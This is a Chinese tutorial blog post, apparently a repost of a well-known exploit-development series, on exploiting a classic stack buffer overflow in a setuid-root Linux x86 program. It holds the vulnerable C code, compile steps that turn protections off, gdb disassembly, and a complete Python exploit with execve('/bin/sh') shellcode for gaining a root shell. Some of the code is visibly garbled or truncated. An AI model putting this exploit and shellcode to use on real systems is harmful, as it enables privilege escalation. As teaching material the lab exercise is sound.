Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解

典型的基于堆栈的缓冲区溢出

虚拟机安装:Ubuntu 12.04(x86)

这个帖子是最简单的漏洞开发教程系列,在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉,我更喜欢自己写博客文章,因为它将作为我未来许多职位的先决条件!

什么是缓冲区溢出?

将源缓冲区复制到目标缓冲区可能导致溢出

1、源字符串长度大于目标字符串长度。

2、不进行大小检查。

缓冲区溢出有两种类型:

1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中

2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中

在这篇文章中,我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux(x86)漏洞开发教程系列的 “3级”中讨论!

缓冲区溢出错误导致任意代码执行!

什么是任意代码执行?

任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的,例如产生根shell,添加新用户,打开网口等...

听起来很有趣,足够的定义让我们看看缓冲区溢出攻击的代码!

漏洞代码

 //vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[];
/* [2] */ strcpy(buf,argv[]);
/* [3] */ printf("Input:%s\n",buf);
return ;
}

编译代码

#echo  > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行,因为源缓冲区内容是用户输入的!

如何执行任意代码执行?

使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”,并且这种覆盖将导致任意代码执行。

在研究漏洞代码之前,为了更好的理解,让我们反汇编并且绘制出漏洞代码的堆栈布局。

反汇编

 (gdb) disassemble main
Dump of assembler code for function main:
//Function Prologue
0x08048414 <+>:push %ebp //backup caller's ebp
0x08048415 <+>:mov %esp,%ebp //set callee's ebp to esp
0x08048417 <+>:and $0xfffffff0,%esp //栈对齐
0x0804841a <+>:sub $0x110,%esp //stack space for local variables
0x08048420 <+>:mov 0xc(%ebp),%eax //eax = argv
0x08048423 <+>:add $0x4,%eax //eax = &argv[1]
0x08048426 <+>:mov (%eax),%eax //eax = argv[1]
0x08048428 <+>:mov %eax,0x4(%esp) //strcpy arg2
0x0804842c <+>:lea 0x10(%esp),%eax //eax = 'buf'
0x08048430 <+>:mov %eax,(%esp) //strcpy arg1
0x08048433 <+>:call 0x8048330 <strcpy@plt> //call strcpy
0x08048438 <+>:mov $0x8048530,%eax //eax = format str "Input:%s\n"
0x0804843d <+>:lea 0x10(%esp),%edx //edx = buf
0x08048441 <+>:mov %edx,0x4(%esp) //printf arg2
0x08048445 <+>:mov %eax,(%esp) //printf arg1
0x08048448 <+>:call 0x8048320 <printf@plt> //call printf
0x0804844d <+>:mov $0x0,%eax //return value 0
//Function Epilogue
0x08048452 <+>:leave //mov ebp, esp; pop ebp;
0x08048453 <+>:ret //return
End of assembler dump.
(gdb)

原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/

这个地方需要特殊说明一下,原作者使用的是Ubuntu 12.04 LTS 32位版本的系统,GCC的版本未知,反汇编的代码是这样的,我使用Ubuntu 14.04 32位系统,GCC版本4.8.2,disassemble后的代码不是这样,但是功能是一样的,所以不做更多解释,大家按照原作者和hackyzh的翻译来读是没有什么问题的

翻译的文章是https://bbs.pediy.com/thread-216868.htm

好烦,不想粘贴过来,大家看原文的,我就写下我自己的有些地方的理解,和原文会给大家造成的误解进行解释。

攻击代码原来是这样的:

 #exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",numnk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

第13行的return struct.pack("<I",numnk + RA + NOP's + Shellcode 很明显是不对的,这里原文作者是大神,都懒得解释,直接抛个错误让我们自己玩,hackyzh也是大神,也懒得解释。

这里是返回二进制的意思,正确的写法应该是:

return struct.pack("<I",num) #nk + RA + NOP's + Shellcode

还有一个地方是返回地址的地方,这个地方大神们也懒得解释了,看雪论坛也有人在猜这个地方,我觉得可以这样解释。

在我的机器上buf的地址(所谓的&buf)是0xbffff340,这样ret_addr=0xbffff340+0x10c+0x4+0x64=0xbffff654。

之后就可以成功获得root权限。

最后附上我的exp.py文件

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff654 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$
#endianess convertion
def conv(num):
return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出的更多相关文章

  1. Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)

    (1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) ...

  2. Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)

    Off-By-One 漏洞 (基于栈) 原文地址:https://bbs.pediy.com/thread-216954.htm 什么是off by one? 将源字符串复制到目标缓冲区可能会导致of ...

  3. 有未经处理的异常(在 xx.exe 中): 堆栈 Cookie 检测代码检测到基于堆栈的缓冲区溢出。

    一般这个问题是数组越界. 我产生这个异常的代码是这句:memcpy(tmp_cert.byKey, m_row[2], 255); 255的长度超过了char数组tmp_cert.byKey的长度.

  4. Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞

    漏洞名称: Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-067 发布时间: 2013-11-07 ...

  5. Nagios Core/Icinga 基于栈的缓冲区溢出漏洞

    漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...

  6. Linux Exploit系列之六 绕过ASLR - 第一部分

    绕过ASLR - 第一部分 什么是 ASLR? 地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过 ...

  7. Linux Exploit系列之七 绕过 ASLR -- 第二部分

    原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...

  8. Linux Exploit系列之二 整数溢出

    整数溢出 虚拟机安装:Ubuntu 12.04(x86) 什么是整数溢出? 存储大于最大支持值的值称为整数溢出.整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代 ...

  9. Linux Exploit系列之四 使用return-to-libc绕过NX bit

    使用return-to-libc绕过NX bit 原文地址:https://bbs.pediy.com/thread-216956.htm 这篇讲解的比较好,主要的问题是获得system地址和exit ...

随机推荐

  1. [String.Format(转换时间格式)]

    string.Format("{0:d}", System.DateTime.Now);   // 2017/6/2; string.Format("{0:D}" ...

  2. java基础点<一>

    1. 九种基本数据类型的大小,以及他们的封装类.byte,short,int,long,boolue,float,double,char,特殊voidByte,Short,Integer,Long,B ...

  3. mongoDB 安装过程

    1.在官方网站下载 mongoDB的安装包,我下载的是3.4.6  系统为win10_64 2.需要安装vc++2015 在安装时发现 win7 系统安装不了. 不得已才安装的win10 3.安装mo ...

  4. 小D课堂 - 零基础入门SpringBoot2.X到实战_汇总

    第1节零基础快速入门SpringBoot2.0 小D课堂 - 零基础入门SpringBoot2.X到实战_第1节零基础快速入门SpringBoot2.0_1.SpringBoot2.x课程介绍和高手系 ...

  5. 使用robotframework做接口测试二——处理响应数据

    初使用RequestsLibrary做接口测试时,你会不会感到困惑,为什么会有${resp.content}, ${resp.status_code}这样的写法,这个status_code什么鬼,f5 ...

  6. 【AMAD】python-goose -- HTML Content/Article 提取器

    动机 简介 用法 个人评分 动机 新闻网页,结构大多是类似的. 所以,能不能用一种通用的爬取方法来提取其中的数据? 简介 Goose最初是一个Java项目,在2011年被转为了scala项目1. Py ...

  7. python 实例化 类方法 静态方法 成员变量 实例方法 等调用

    1.参考代码如下 # coding:utf-8 class student: # 成员变量 ok = None like = '八戒你瘦了' # 实例方法 def __init__(self): # ...

  8. 【VS开发】CTimeSpan类

    CTimeSpan类.        日期和时间类简介        CTime类的对象表示的时间是基于格林威治标准时间(GMT)的.CTimeSpan类的对象表示的是时间间隔.        CTi ...

  9. CentOS配置java环境,mysql数据库等文章链接

    配置jdk 配置jdk 安装mysql8 yum install -y mysql-community-server 安装mysql8 安装redi 安装redis 安装docker 安装docker

  10. [c++] SYSTEM_INFO

    SYSTEM_INFO,Win32 API函数GetSystemInfo所使用的结构体. 说明 SYSTEM_INFO结构体包含了当前计算机的信息.这个信息包括计算机的体系结构.中央处理器的类型.系统 ...